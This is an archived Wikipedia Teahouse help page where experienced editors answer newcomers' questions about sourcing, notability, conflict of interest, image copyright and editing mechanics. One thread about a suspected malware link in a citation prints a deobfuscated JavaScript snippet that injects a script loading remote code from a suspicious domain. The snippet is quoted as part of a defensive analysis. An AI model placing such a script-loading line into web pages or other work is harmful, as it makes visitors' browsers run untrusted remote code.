Wikipedia:Teahouse/Questions/Archive 721

This is an archive of past discussions. Do not edit the contents of this page. If you wish to start a new discussion or revive an old one, please do so on the current talk page.

Archive 715

←

Archive 719

→

how to appeal a deletion

After unsuccessfully searching for a particular entry, in order to update it, I found this:

07:05, 11 December 2017 Jimfbleak (talk | contribs) deleted page Robert Raven Kraft (G11: Unambiguous advertising or promotion)

I tried to contact Jimfbleak through his talk page, but I couldn't figure out how to initiate correspondence.

Please point me in the right direction to get this page restored.

Thanks, Flyseawing Flyseawing (talk) 17:03, 5 February 2018 (UTC)

Welcome to Wikipedia. On Jimfbleak's user talk page, if you want to start a new conversation you can use the tab labelled "New section" at the top of the page. --David Biddulph (talk) 17:51, 5 February 2018 (UTC)

Welcome to the Teahouse, Flyseawing. Because I am an administrator, I could read the deleted article. In my opinion, the article was "unambiguous advertising or promotion", since it included this sentence: "His biography was recently released: Running with Raven: The Amazing Story of One Man, His Passion, and the Community He inspired, by Laura Lee Huttenbach, is available in hardback and audiobook at Amazon.com, Barnes and Noble, and your local bookstore." We simply do not allow that type of content on Wikipedia. Cullen³²⁸ Let's discuss it 18:07, 5 February 2018 (UTC)

I agree that the promotional line should be deleted, but can't the rest of the entry stand on its own? There are close to 3000 people who have participated in the Raven Run and I'm sure there is interest in keeping the statistics current.

Can you send me the text of the entry, I'll delete the unambiguous advertising or promotion and resubmit it?

Thanks, Flyseawing2600:1700:B860:B820:EDB3:B28B:2AF0:E587 (talk) 18:55, 5 February 2018 (UTC)

Hello, Flyseawing. I'm afraid that "keeping the statistics current", however laudable or useful that might be, is absolutely nothing to do with Wikipedia. What Wikipedia articles do is to summarise what independent commentators have published about a subject: nothing more. I've no idea what the statistics are that you are talking about, but unless independent commentators have written about them, they probably shouldn't be in an article. --ColinFine (talk) 23:40, 5 February 2018 (UTC)

Ok, I see that no one here cares about anything except exercising their power to lord over the subordinates. At this point, all I care to do is to unleash a diatribe of profanity, but since the subject is not all that important, I'll just use this as a reason to stop all my contributions to this organization, and use my influence among my peers so they do likewise.

Thanks for nothing, Flyseawing2600:1700:B860:B820:D0B0:263E:A9B2:BB7F (talk) 15:36, 6 February 2018 (UTC)

hoe is the long war journal not a reliable source on syria?

i submitted short excerpts with prominent links, the long war journal is one of the longest running continuous recordings of the various morphing's of jihadist groups in syria you where missing the names of the various groups that form in elite army i provided them, with source links to long war journal which in turn referred to the jihadists own media releases. if memory serves i provided a video attributed by the Turkish army to the elite army on bayraba hill or some such. (had their water mark, turkey announced capturing the hill that day) in what way was any of my source material not backed with video evidence or similar?110.174.207.53 (talk) 15:45, 6 February 2018 (UTC)

This discussion would be better at the reliable sources noticeboard. Previous discussions (1, 2, 3, 4) don't seem to arrive at any clear consensus. It is not really a news service but a propaganda outlet for a political think-tank (regardless of one's opinion of said politics). The safest bet would be to attribute their claims to them, instead of stating their claims as unqualified facts. Ian.thomson (talk) 15:55, 6 February 2018 (UTC)

Reliable sources

Hi! Are we not allowed to use a reliable news outlet as a source if their report references a tabloid?

I used BBC News as a source, but their article mentioned that it was originally published by the Daily Mail, and so another user removed it saying it was still unreliable. (This was the article: http://www.bbc.co.uk/news/entertainment-arts-42023885)

And if so, would I also not be allowed to use a reliable source that references TMZ? (For example, this: https://www.huffingtonpost.com/entry/sylvester-stallone-rape-allegation_us_5a3ce122e4b025f99e165ce4) Because the WP:PUS says that TMZ "has received criticism for errors in breaking news and has a reputation for gossip, but it is increasingly seen as credible by other news agencies" and so I wasn't sure if that was considered unreliable or not.

Thank you. Abbyjjjj96 (talk) 23:18, 5 February 2018 (UTC)

I would suggest reposting this at the reliable sources noticeboard, a dedicated forum for exactly this type of thing. Beeblebrox (talk) 23:23, 5 February 2018 (UTC)

Ok, thank you! Abbyjjjj96 (talk) 23:30, 5 February 2018 (UTC)

i had a similar problem i linked a video recording with elite army logo watermark that coincided with Turkish army announcing capture of a hill(it was all over Turkish TV) and provided the names of the 5 groups that are in elite army that where mentioned but weren't named, along with a link to the long war journal,(its far from the only place you can find the names but its all collated in one spot not in Arabic extra) who have been covering the morphing's of Syria rebel groups from like 2012.

and either my video evidence or my reference source was "deemed unreliable" should i have used the jihadists twitter news feeds instead, from the horses mouth" so to speak even if one its in non English and 2 they may delete stuff at any time 110.174.207.53 (talk) 15:54, 6 February 2018 (UTC)

No, Wikipedia prefers secondary and tertiary sources over primary sources, especially professionally-published academic and journalistic sources. Ian.thomson (talk) 15:56, 6 February 2018 (UTC)

What does {{!}} mean?

Hello! I see that a bot added an {{!}} sign to one of the references in the source code (User:MJesio/Book_of_Demons). I was trying to find the answer on my own on the internet and wikipedia, but probably the search engines aren't capable of handling the syntax as a regular text.

What does the {{!}} mean? MJesio (talk) 15:18, 6 February 2018 (UTC)

You'll find the answer at {{!}}. --David Biddulph (talk) 15:21, 6 February 2018 (UTC)

Thanks! MJesio (talk) 15:30, 6 February 2018 (UTC)

Hi MJesio, welcome to the Teahouse. A citation for [1] says title=Book of Demons is a Delightful Jaunt Across Hell {{!}} Unwinnable. The cited page has the html title "Book of Demons is a Delightful Jaunt Across Hell | Unwinnable", usually displayed on browser tabs. I guess you used a citation tool which automatically adds a title by reading from a web page. The tool used {{!}} to avoid the pipe character ending the title parameter. In this case "Unwinnable" is the name of the website which is already in another citation parameter website=unwinnable.com, so you can just reduce the title parameter to title=Book of Demons is a Delightful Jaunt Across Hell. Please always check that automatic citation tools give reasonable values to citation parameters. There are other citations in the page where the website name is included in the title parameter. PrimeHunter (talk) 15:36, 6 February 2018 (UTC)

Thank you for your assistance! I will fix those references. It strange, it appears that Editors (and citation tool) work differently on different languages. Just a curious fact :) MJesio (talk) 15:41, 6 February 2018 (UTC)

The citation tool simply copied the title from the html source of [2] which says: <title>Book of Demons is a Delightful Jaunt Across Hell | Unwinnable</title>. It is the website which chose to include the website name in the title. PrimeHunter (talk) 17:37, 6 February 2018 (UTC)

Draft:Noah Mark

I reviewed Draft:Noah Mark and declined it, but was asked by its author to re-review it. I see that they are commenting at my talk page that IMDB is the industry standard for credits in entertainment. It may be, but it is also my understanding that it is not considered a reliable source in Wikipedia. I would appreciate other comments, but the draft looks to me like a directory entry only, and Wikipedia is not a directory. Also, the draft is an autobiography, and Wikipedia discourages those, and in years of reviewing input at AFC, I can recall one that both satisfied notability and seemed neutral. Robert McClenon (talk) 18:42, 5 February 2018 (UTC)

Per the guidelines for reliable sources, IMDB is only OK for external links - not referencing, as it is user-generated. Also, I feel that almost any autobiographical article will fail WP:COI, and that draft does not appear to be the exception to the rule. Stormy clouds (talk) 18:47, 5 February 2018 (UTC)

Robert McClenon, it certainly appears to me that recent Arbcom case on PAID says that autobiographies from people who are in fields where increased name recognition equates to a greater potential earnings figure are now subject to WP:PAID, not just COI. Not sure if this is a factor here. John from Idegon (talk) 23:40, 5 February 2018 (UTC)

John from Idegon Can you post a link to that case? That sounds like a difficult scenario to prove. --Drm310 🍁 (talk) 17:49, 6 February 2018 (UTC)

Is citing sources that other wikipedia articles cite allowed when creating a draft for submission?

CBNMKJUH (talk) 17:33, 6 February 2018 (UTC)

@CBNMKJUH: Hello and welcome. If you are asking if you can use a source that is used in another Wikipedia article in a draft you are writing, as long as the sources supports the claim you are making, you can likely use it wherever you wish, at least as a general policy. 331dot (talk) 17:49, 6 February 2018 (UTC)

@331dot: Thanks! I really appreciate it. I've looked stuff up on wikipedia for years but never created an account until yesterday. Then I made an article, but it got rejected because I didn't cite it properly. I was kind of feeling dissapointed, so I cited what I knew from another article. If you want to see my article, search for: Draft:Super Mario FX(game). Once again, thanks for letting me know!

CBNMKJUH (talk) 18:43, 6 February 2018 (UTC)

@CBNMKJUH: You're welcome. If you would like to learn more about citing sources, there is information at WP:CITE that you can review. 331dot (talk) 19:27, 6 February 2018 (UTC)

@331dot:Thanks!

CBNMKJUH (talk) 19:54, 6 February 2018 (UTC)

@CBNMKJUH: when doing this, don't just copy what the source looks like. Copy the actual citation in wikitext. A citation that says:

"Dylan Cuthbert". Twitter. Archived from the original on May 25, 2014. Retrieved February 6, 2018. SNES Central @dylancuthbert

makes no sense as it's obviously citing a website but you copied it without including the metadata that has the actual URLs. – Finnusertop (talk ⋅ contribs) 20:02, 6 February 2018 (UTC)

Does Wikipedia have any articles on Beach Wheelchairs?

OttoWerlin (talk) 17:41, 6 February 2018 (UTC)

@OttoWerlin: Hello and welcome to the Teahouse and Wikipedia. In using the Search Bar in the upper right corner of the screen(I'm using a computer), there is no article on Beach wheelchairs specifically, but we do have a good article on wheelchairs located at Wheelchair(click that word to access it). It lists several types of wheelchairs, but I don't see beach wheelchairs mentioned. I don't think beach wheelchairs would merit a stand alone article, as they are simply a variant of a wheelchair, but they likely could be mentioned in the general wheelchair article along with the other types listed. My suggestion would be to visit Talk:Wheelchair, the talk page for that article, and propose such an addition. The editors that follow that page can help you with adding the information. 331dot (talk) 17:47, 6 February 2018 (UTC)

(edit conflict) There is Wheelchair § All-terrain wheelchairs which includes a paragraph on beach wheelchairs. My off-hand opinion is that we probably don't need a separate article on beach wheelchairs, but that section could really use some references and a picture. Chris857 (talk) 17:48, 6 February 2018 (UTC)

Concur with those below. Work on expansion of the existing article if you have an affinity for the topic. There is no pressing need for a stand-alone article at this point in time. Stormy clouds (talk) 20:32, 6 February 2018 (UTC)

About wikipedia's policies of vandalism

Why are Wikipedia's Policies so stict, to the point where it is unforgiving, could you give vandals a chance of redemption? TommyGu (talk) 21:42, 6 February 2018 (UTC)

@TommyGu: I'm not sure what aspect of vandalism related policies you find "strict", but if someone blocked for vandalism explains in an unblock appeal what they did wrong, why they won't do it again, and what they will do to be a productive contributor instead, they will be given another chance. If that chance is abused however, the odds of being given subsequent chances diminish considerably.

This is the second vandalism related question you have asked which I find curious. Unless you intend to be a vandal, how vandals are dealt with isn't something I would worry about, if I were you. 331dot (talk) 21:52, 6 February 2018 (UTC)

(edit conflict)For the same reason that library policies are strict about readers who scribble in their books, or tear out pages. Wikipedia vandals are usually given warnings, and are given a chance to become genuine editors, but some are incorrigible. We hope that you will overcome your strange urges and become a useful editor. Dbfirs 21:55, 6 February 2018 (UTC)

Wikimedia images

How do you copyright a Wikimedia image? Seacolor88 (talk) 21:48, 6 February 2018 (UTC)

Hello Seacolor88, welcome to our Teahouse. (Anyone who wants to write about plants is especially welcome, as far as I'm concerned!) Now, I don't quite follow your question. Any image that is on Wikimedia Commons is available for free use (both non-commercial and commecial use) under what we call a Creative Commons licence (see WP:CC BY-SA for a typical licence we would expect an image to be released under). The copyright is still owned by the creator, but all the images on Wikimedia Commons have been released under a licence which requires the copyright owner to be attributed (credited) - and that's done automatically on Wikimedia Commons. So there's no need to mention the author's name if you use that image in a Wikipedia article.

However, what we can't do is take any old image found on the internet (say this one) and put it on Wikimedia Commons. You could if you were the copyright owner, but not if you aren't. Any image that you took from a website in that way would sooner or later be deleted as a breach of copyright.

Once an image is on Wikimedia Commons it can be used by someone else, but that second person isn't able to suddenly claim copyright over it, even if they were to edit it or modify it in some way. As far as my understanding goes, the original image creator still needs to be credited as the orginal author of the derivative work.

Do these answers help you? If not, perhaps you could explain a little more clearly what it is that you would like to achieve? Regards from the UK, Nick Moyes (talk) 22:24, 6 February 2018 (UTC)

PS: Having taken a quick peek at your draft article on D.splendens, you might like to utilise this IPNI entry and this Catalogue of Life entry when you come to work on it. Bear in mind that Csapodya splendens appears to be a synonym (though this will need checking carefully as Deppea might just be a basionym), so you will need to avoid having two conflicting page titles. (we usually put synonyms in a taxobox, but they can be mentioned in the text if you wish). A WP:REDIRECT can also be created to link two different names to the one primary article, too). Nick Moyes (talk)

Hello, Seacolor88. I'm afraid you'll have to explain your question a bit more, because I don't understand what you're asking. "Copyrighting" isn't something you can do to an image: all images are automatically copyrighted, unless they are in the public domain either by reason of age (eg pictures published before 1923 in the US), or because they are below the threshold of originality (eg a logo consisting of simply geometric shapes) or they have been explicitly placed in the public domain by their copyright holders (eg many images produced for the US federal government). --ColinFine (talk) 22:26, 6 February 2018 (UTC)

Ahh! I see why you might be asking now, Seacolor88. You've made rather a big mistake by trying to re-upload this image to Wikipedia when it already exists here on Wikimedia Commons in a higher resolution format, and properly licenced, too. That's a no-no, so it has rightly been marked for deletion - so just let it go, and don't try that method again. LOL! What you only needed to have done is to look for the "Use this file" box on the Commons image and copied the text that's displayed there when you click the tiny 'W' logo, i.e.: [[File:Csapodya splendens BOGA Bern 1.jpg|thumb|Csapodya splendens BOGA Bern 1]] then paste it into your draft, just as I've done here, though I've shortened the caption a bit. Does that make sense now? Nick Moyes (talk)

Should I go straight to ANI with this?

I recently reverted a series of edits by Ehipassiko2 (talk · contribs), and left a message on their talk page because of two edits that appeared to me to indicate an intent to insert a link to malware in the |url= param of a {{cite web}} reference they added to an article. There's been no discussion yet. I still assume good faith, and had there been only one such edit, I would wait for their TP response. But, given that malware was involved, and that the second edit seemed to confirm the first, I'm not sure if waiting is a good idea. The fact that in every other way, the edits appear to be constructive, is either a mitigating factor, or else very clever camouflage: while investigating it, I reverted myself twice at the article while trying to disentangle it. Not sure if this requires rapid intervention at ANI, or whether we should just wait and see. I'm concerned if there was bad intent, they could carry on at other articles, where it might not be seen. Should I go straight to ANI with this? For details, see User talk:Ehipassiko2#January 2018. Mathglot (talk) 03:52, 3 February 2018 (UTC)

Welcome to the Teahouse, Mathglot. Although I am an administrator, I lack the technical skills to fully evaluate the case that you are making. However, the potential for harm and damage to Wikipedia's reputation is real, based on your description. Therefore, I believe that a report to ANI is appropriate, to draw the attention of administrators with the appropriate skills and experience. Cullen³²⁸ Let's discuss it 03:59, 3 February 2018 (UTC)

@Cullen: Thank you for your advice. Mathglot (talk) 04:07, 3 February 2018 (UTC) Posted here. Mathglot (talk) 06:42, 3 February 2018 (UTC)

I deobfuscated the code and it's possible I could be wrong.

The code as written does the following:

"var el = document.createElement('script'); el.src = 'https://web.stati.bid/js/YQHHAAUDYwBFglDXg0VSBVWyEDQ5dxGCBTNT8UDGUBBT0zPFUjCtARE2NzAVJSIPQ0FJABFUVTK_AABJVxIGEkH5QCFDBASVIhPPcREqYRFEdRQcsUEkARJYQyAXVBPNcQLaQAVm4CQCZAAVdEMGYAXQxwa.js?trl=0.20'; document.head.appendChild(el);"

The code at that address does appear to be doing something funky.

If I were to guess, this is unintentional and the site (oncenturyavenue) has been hacked.

ZephyrP (talk) 05:06, 7 February 2018 (UTC)

Could you please review my article?

Hello! I was tinkering with the translation of the article about Book of Demons game on my page User:MJesio/Book_of_Demons.

Since I'm not a native English speaker and the article is almost complete, could any of you review it and point me language errors? Maybe there is a wiki page where I could ask about reviews of the articles? MJesio (talk) 17:08, 6 February 2018 (UTC)

Sure! What do I have to do?

CBNMKJUH (talk) 17:42, 6 February 2018 (UTC)

CBNMKJUH, could you please check the grammar side of the article? :) It would be awesome! I'm not sure if I mentioned you correctly ;/ MJesio (talk) 09:06, 7 February 2018 (UTC)

Organization has asked to create a Wikipedia page, Wikipedia says Copyright Violation, HELP!!!

An Organization has asked to create a Wikipedia page for them I have created one and was working on it but soon got a message from Wikipedia that the material is a copy from website and Wikipedia says Copyright Violation, HELP!!! and guide me how to get this doneAnikn08 (talk) 05:52, 7 February 2018 (UTC)

Hi Anikn08 and welcome to the teahouse. Wikipedia takes copyright very seriously, so if you copy text from another website, the article will be deleted very quickly. If you are being paid by the organisation, then you must comply with WP:Paid. If you have some connection with the organisation (as you imply) then you should declare your conflict of interest on your talk page. You need to find independent WP:Reliable sources in which the organisation has been written about, and you should summarise what these sources say, but in your own words, not copying sentences. There is advice on your talk page, but ask again here if you need further guidance. Dbfirs 08:38, 7 February 2018 (UTC)

Hello, Anikn08. It sounds as if the organisation has the (very common) misunderstanding that Wikipedia has 'anything at all to do with how they present themselves in the world. It does not. If Wikipedia has an article about them, it will not be their article, they will have no control over its contents and be discouraged from editing it directly, and should contain little material which comes from them - Wikipedia has basically no interest in what anybody or anything says or wishes to say about themselves. A Wikipedia article should be based almost entirely on what people who have no connection with the subject have published about it in reliable places. --ColinFine (talk) 10:12, 7 February 2018 (UTC)

Is there a way to move a table to the right?

Hello! From time to time I tinker with the translation of my Polish article about Book of Demons game.

I've tried to find any templates for awards (equivalent of Template:Recenzje gry in Polish - see it in "Historia rozwoju gry section") but found nothing that would be useful, so I've decided to use a standard table. It appeared that this solution does not look good under the text and thus my question is if can I move it to the right somehow? MJesio (talk) 10:12, 7 February 2018 (UTC)

Thank you Force Radical! MJesio (talk) 11:09, 7 February 2018 (UTC)

Fusion of two articles into a single one

Hello!

I'd like to combine the articles Doce (sweet) and Goan cuisine into one. I think the former article should be a part of the latter article. What can I do?

Thank you.

--Yulmu (talk) 08:23, 7 February 2018 (UTC)

Hello, Yulmu. I've never tried this myself, but I believe that merging has the information you need. --ColinFine (talk) 10:14, 7 February 2018 (UTC)

Thank you, ColinFine! --Yulmu (talk) 12:05, 7 February 2018 (UTC)

Maintance template remove

On the article Rowboat Film- und Fernsehproduktion there is a maintance template remove message. I've fixed the issues and would like to remove the message. How can I do that?

Thanks KatharinaRB (talk) 12:21, 7 February 2018 (UTC)

@KatharinaRB: Hello and welcome to the Teahouse. I would first note that while you declare your conflict of interest, it would be good for you to better comply with the paid editing policy and more clearly state on your userpage that you are paid to edit. Please review that policy.

Regarding your question, if you feel that the issue given in a maintenance template is resolved, you can remove them by editing them out of the article, they are at the very top of the edit window in brackets. However, as you have a COI you should not remove the COI template, as you should not be the one to evaluate the article for the influence of a COI if you are the one with the COI. In all honesty I would encourage you to simply leave all the maintenance templates so an independent editor can evaluate the article. 331dot (talk) 12:26, 7 February 2018 (UTC)

@331dot

Thanks for your quick reply. On my user page I have clearly stated that I'm paid to edit and on every edit I do, I write it as well. As you said, because of COI I'm not allowed to remove the message. But I've fixed the issues. Also the German page of the company I've edited as well and the content is pretty much the same but it has no maintance message. So what can I do to have it removed on the english page? Who can I ask to remove it? Thanks KatharinaRB (talk) 12:39, 7 February 2018 (UTC)

On your userpage you state "I edit on behalf of company Rowboat Film- und Fernsehproduktion GmbH." but you do not state that you are paid there. It is possible to represent a company but not be paid by it. You do state you are paid in edit summaries(such as this one) but it would be clearer if you did on your user page. I would simply add to your statement "and I am paid to do so" or otherwise change it to be clearer that you are paid.

Different language versions of Wikipedia have different policies and editors; for example I am aware that the German Wikipedia permits and even encourages users representing a company to simply use the company name as their username, but the English Wikipedia does not allow that. If German Wikipedia editors chose not to tag the article there for issues, that's their business and has no bearing on the version of the article here.

Editors monitor the categories the maintenance templates categorize pages into, and one will likely come along and evaluate the article. Please be patient. If necessary I suppose you could also request help at the Help Desk. 331dot (talk) 12:51, 7 February 2018 (UTC)

@331dot

Thanks again for your answer. I've follewed your advice and added "and I'm paid to do so" to my user page. For the other issue I will ask at the Help Desk for help. KatharinaRB (talk) 13:46, 7 February 2018 (UTC)

Contributing an article

How do I add pictures to my contribution. How do I get my contribution accepted and included in Wikipedia? JayJgbright (talk) 14:36, 7 February 2018 (UTC)

If this is about User:Jgbright/sandbox/Biography of Hemen Gupta, it has already been submitted for review. If it is still in its current state when it is assessed, it will certainly be rejected, as it cites no references. Moreover, the references it lists do nothing to show that its subject is notable. I suggest that you concentrate on finding some references to establish that he is notable, and citing them in your draft, rather than bothering with pictures. Maproom (talk) 14:49, 7 February 2018 (UTC)

I agree entirely with Maproom, so you need to read the advice at WP:Your first article and at Help:referencing for beginners. --David Biddulph (talk) 14:51, 7 February 2018 (UTC)

Is there a user-friendly template to profile an individual on Wikipedia?

Is there an existing template that could be used to easily profile an individual on Wikipedia?

Oluwabrian (talk) 11:22, 7 February 2018 (UTC)

@Oluwabrian: Hello and welcome to the Teahouse. If this is your first attempt at creating an article, I would highly suggest using the Article Wizard. You should also probably read Your first article. I'm not sure if there is a pre-planned layout that you can just fill in(I think there is but I cannot find it), but there is a guide to how articles should generally be laid out at MOS:LAYOUT.

I wanted to address your use of the word "profile" which is usually associated with social media; Wikipedia is not social media to write profiles; this is an encyclopedia which has articles about subjects shown to be notable in independent reliable sources Wikipedia has no interest in what an individual wishes to say about themselves or how they want to be portrayed. The article should almost totally be based on what independent sources state. 331dot (talk) 11:38, 7 February 2018 (UTC)

There is a Template:Biography, but I would echo the advice from User:331dot. --David Biddulph (talk) 11:50, 7 February 2018 (UTC)

@David Biddulph Thank you.

Oluwabrian (talk) 15:52, 7 February 2018 (UTC)

Article is declined Once and Resubmitted

Hi,

When my submission Draft:Ituah Ighodalo was rejected the first time the reviewer added a comment for the next reviewer to look in the field 'Further Reading' as well as the field 'Sources' to get a full overview of the (needed) secondary sources, the editor also directed me to TeaHouse for further help. However, the article has been resubmitted for review once again.

Can someone help me to get this article accepted, as it is well documented it feels it can be a real addition to the Wikipedia encyclopedia?

All my bests.

Niyijoseph68  (talk) . 14:44, 7 February 2018 (UTC)

The Drover's Wife (talk) Please help.

@Niyijoseph68: Hello and welcome to the Teahouse. I would ask you if you have been enlisted by Ituah Ighodalo to edit on his behalf, as the draft was initially created by him.

Regarding the draft, I think it unlikely to be accepted, as it reads like a resume or list of accomplishments. It also has very few if any independent reliable sources that give in depth coverage of Mr. Ighodalo. Wikipedia has no interest in what an article subject wishes to say about themselves and is not social media for people to post their accomplishments. Wikipedia is only interested in what independent third parties write about a subject and the article should only be based on what such sources state. 331dot (talk) 14:05, 7 February 2018 (UTC)

331dot (talk) As an editor I understand the policy of Wikipedia in helping people do that but this is far from it, the subject in question is a notable figure, a pastor and an accountant from my country and I feel he is worthy of approval. There are numerous verifiable sources about him on the google search which are not mere mentions. Kindly help look through this.

Niyijoseph68 (talk) —Preceding undated comment added 15:10, 7 February 2018 (UTC)

@Niyijoseph68: You don't actually answer my question. Were you enlisted by Mr. Ighodalo to help in writing the draft? Drafts are not easy to find unless one knows that they exist. If you weren't asked by him to help write the draft, how did you find it?

All of the sources given in the draft, though all are different websites, seem to simply be his biography which either he or someone associated with him wrote. That is not an independent reliable source. What is needed are sources not written by him, his staff, or organizations that he is involved with. This would be things like news stories or biographies written by a third party uninvolved with him. The draft should be written only based on what those independent sources state, not on his official biography. 331dot (talk) 15:25, 7 February 2018 (UTC)

@331dot: Thanks for the prompt response. Yes, I was enlisted but I was not paid to do this. How could you help fix this article? That is why I have come to the TeaHouse to see how I can improve on the article so it could be approved. 331dot (talk) I need your assistance on this.

Niyijoseph68 (talk) 16:52, 7 February 2018 (UTC)

@Niyijoseph68: Thank you for your answer. You will need to review the conflict of interest policy at WP:COI, and formally declare that you are editing on Mr. Ighodalo's behalf before doing anything else. As the current content of the draft is all based on what his official biography says, I honestly don't think it salvageable in its current form. As I indicated, any article about this person needs to all but totally be based on what independent reliable sources state about him. If you don't have independent reliable sources, it will not be possible for their to be an article about him at this time. That might be sad but it's just the way it is.

Your conflict of interest also makes writing about him difficult for you. You would need to forget everything you know about him and forget everything his official biography states, only writing based on what the independent sources state. That is usually difficult for people with a COI to do. If you think you can do that, and have appropriate independent sources, you can proceed, but if you just want to tell the world about this person, you will need to find another forum such as social media. 331dot (talk) 16:16, 7 February 2018 (UTC)

Account issues

A few weeks ago, I created an account in Wikipedia with the username jcarter8 and began a draft page tilted Psychedelic Audition. I've tried to log in several times since then but it won't recognize the username. When I try to reset the password, it says the username does not exist yet when I try to create a new account with the same name, it says the username is already in use. Somehow, the account exists in the system but I can't access it. I've noticed that whenever I type the j, it registers it as J (capitalized). I need to be able to use this account because I have a class that requires me to edit an existing page or start a new one, which means that I need to have an ongoing existing account. Can anything be done to rectify this? 2620:10A:3041:9150:609F:6575:FA5C:8155 (talk) 16:42, 7 February 2018 (UTC)

Your user page is here User:Jcarter8 (with a capital J) and your draft article is here Draft:Psychedelic Audition You won't be able to log in if you are using a lower case j. Theroadislong (talk) 16:58, 7 February 2018 (UTC)

Hi jcarter8, welcome to the Teahouse. The first character of usernames is automatically capitalized. It doesn't matter whether you write jcarter8 or Jcarter8 at login (the above reply is incorrect). The account User:Jcarter8 does exist. The message on the link means you have not created a user page but that is optional (another user has created the user page since I wrote this). The account works but it has not specified an email address at Special:Preferences so it is not possible to send a password mail. Log in at https://en.wikipedia.org/wiki/Special:UserLogin. When I enter a wrong password I get the message "Incorrect username or password entered". This does not mean the username does not exist. If you don't remember the password then you have to create a new account with another name. Special:Contributions/Jcarter8 shows the account created Draft:Psychedelic Audition. The page can be edited by other accounts or without logging in. PrimeHunter (talk) 17:02, 7 February 2018 (UTC)

New feature disappeared?

Recently, for a few weeks, while using Wikipedia, when I scrolled over a page link, a preview of that page would pop up. I liked the feature, but it seems to have been removed. Can anyone help me understand what happened and how to activate that feature again? KevinBumgardner (talk) 16:59, 7 February 2018 (UTC)

You've asked at the WP:Help Desk. Please don't ask the same question in multiple places, as this wastes the time of editors answering a question which has already been answered. --David Biddulph (talk) 17:02, 7 February 2018 (UTC)

Highlighting article as possibly needing improvements

Hi - I'm looking at an article that seems pretty flawed to me. There's one edit I can submit now, but in general the article seems like it could use an overhaul. Is there a way to sort of flag this that might draw attention from other editors?

Also I'm pretty sure I've seen articles as a reader that were flagged as needing work in some way, but don't remember details. If there is a flag for editors, I'm curious about whether that shows up on the reader side too -

Legbracesarecool (talk) 21:03, 7 February 2018 (UTC)

A range of templates can be found through WP:Template messages. --David Biddulph (talk) 21:07, 7 February 2018 (UTC)

how do i put a drama school on?

my drama school is not on wikipedia even though it has existed since the late 1980s. How do i put it on if i can't find any relevant articles and only find the website when i google it? RupertHolloway (talk) 21:15, 7 February 2018 (UTC)

You need to look at Wikipedia's definition of notability, look for detailed coverage in published reliable sources independent of the subject, and then read the advice at WP:Your first article. --David Biddulph (talk) 21:19, 7 February 2018 (UTC)

Unfortunately that means your drama school fails notability requirements, and thus any article created about it will not survive. Google isn't the only indicator of notability, however. If you can find articles in newspapers, that works as well. It doesn't have to be electronic. -A lad insane (Channel 2) 21:23, 7 February 2018 (UTC)

Hello RupertHolloway -- If you "can't find any relevant articles," then there won't be a WP article. Don't despair, though. Have you tried looking at the old newspapers at your local library? Make friends with the librarian. Rhadow (talk) 21:45, 7 February 2018 (UTC)

Fire Sprinkler systems marked as "defunct" - now what?

I don't understand the instruction on how I can add a 'dodo' item to a wiki page marked as 'defunct'. When I go to related pages, I find that they're usually short and incomplete, therefore where do I start?

ThanksEweezeke (talk) 00:39, 7 February 2018 (UTC)

Hi Eweezeke, welcome to the Teahouse. Please link the page you refer to or give the exact name. I couldn't guess it from searches. And what do you mean by a 'dodo' item? Do you think the page shouldn't be marked defunct? PrimeHunter (talk) 00:53, 7 February 2018 (UTC)

Oh sorry, instead of 'dodo' I meant 'todo'. I wanted to add something important to this page that is marked 'defunct' when I go into the talk area. The page is: https://en.wikipedia.org/wiki/Fire_sprinkler_system Eweezeke (talk) 01:56, 7 February 2018 (UTC)

It is the project WP:WikiProject Fire Protection which is labelled as defunct, not the article Fire sprinkler system. If there are edits which you feel need to be made to the article, and you can support the edits with references to published reliable sources, you can either make the edits yourself or suggest them in a new section on the article talk page. --David Biddulph (talk) 02:03, 7 February 2018 (UTC)

@Eweezeke: Yes, you can just click the "New section" tab at Talk:Fire sprinkler system and post a suggestion. Or click edit on the article and edit it yourself with references. PrimeHunter (talk) 02:27, 7 February 2018 (UTC)

@Eweezeke: I have replied to you on the articles talkpage. I fixed the dead links and will help with the info you want to add, if you need help. NFPA is an excellent ref source! Regards, Tribe of Tiger ^{Let's Purrfect!} 22:00, 7 February 2018 (UTC)

@Tribe of Tiger: Great, I will start work on the S sub s Seismic Calculation procedure and hopefully you can help me work it into the article. It will take me a week or so to pull it together. Thanks for offering your help. Eweezeke (talk) 23:08, 7 February 2018 (UTC)

question

I found this article when stumbling across Wikipedia. My Little Marquise it was just created when i saw it. It barely cites /no references at all. is it notable? If you come across the article later on and it has reliable references please disregard this message Thegooduser talk 00:48, 8 February 2018 (UTC)

@Thegooduser: See WP:NFILM for film notability guidelines. This one may fall under one of the critera there, but it is not easy to tell from the info in the stub. RudolfRed (talk) 02:04, 8 February 2018 (UTC)

how do i thank unregistered IPs

hey, how do I thank unregistered IPs for their contributions? I thank everyone else, besides the bots who I have created their own separate WikiLove templates for.-🐦Do☭torWho42 (⭐) 02:07, 8 February 2018 (UTC)

@DoctorWho42: You can leave a note on that user's talk page. The "Thanks" tool only works for non-bot registered users. RudolfRed (talk) 02:20, 8 February 2018 (UTC)

Feeling Thankful

Thank you so much. Actually, i do not want to do any illegal activities. But as i'm not an experienced editor yet, it is happening unfortunatly to me !. But as you, the leading personalities , helping me with their heart, i'm very thankful to them. Thank you. Wikipedia has a lot of rules , and i need some time to make out them all. I was previously blocked once for 7 days ,as i was unaware . Please help me in future like this by providing informations. Love form heart. Have a nice day. — Preceding unsigned comment added by Abir-lal (talk • contribs) 01:44, 8 February 2018 (UTC)

Hello Abir-lal and welcome to the Teahouse.

Yes there are a lot of rules. You've already mastered some of them, it appears, so you should make edits that you are confident fall within the rules that you know. As you gain more experience, you'll begin to see additional ways to help build the encyclopedia. One place to pick up tasks that fit your current level of expertise is the community portal. You can also learn quite a bit by looking at the contributions of an experienced editor - all of their contributions can be seen by starting on their user page or user talk page and clicking on the "User contributions" button in the toolbar. If you have questions, ask them!

I hope you find editing here to be a rewarding and engaging activity. — jmcgnh^{(talk) (contribs)} 05:59, 8 February 2018 (UTC)

Need help in completing an article

Hi Editors, I need help in completing my Articles Draft:D Shivakumar. please advice. https://www.amazon.in/REFLECTIONS-Thoughts-future-leadership-business/dp/8193225627/ref=sr_1_3?ie=UTF8&qid=1518080878&sr=8-3&keywords=Shivakumar+D Karthikbv402 (talk) 09:14, 8 February 2018 (UTC)

Is using Google Street View Images allowed?

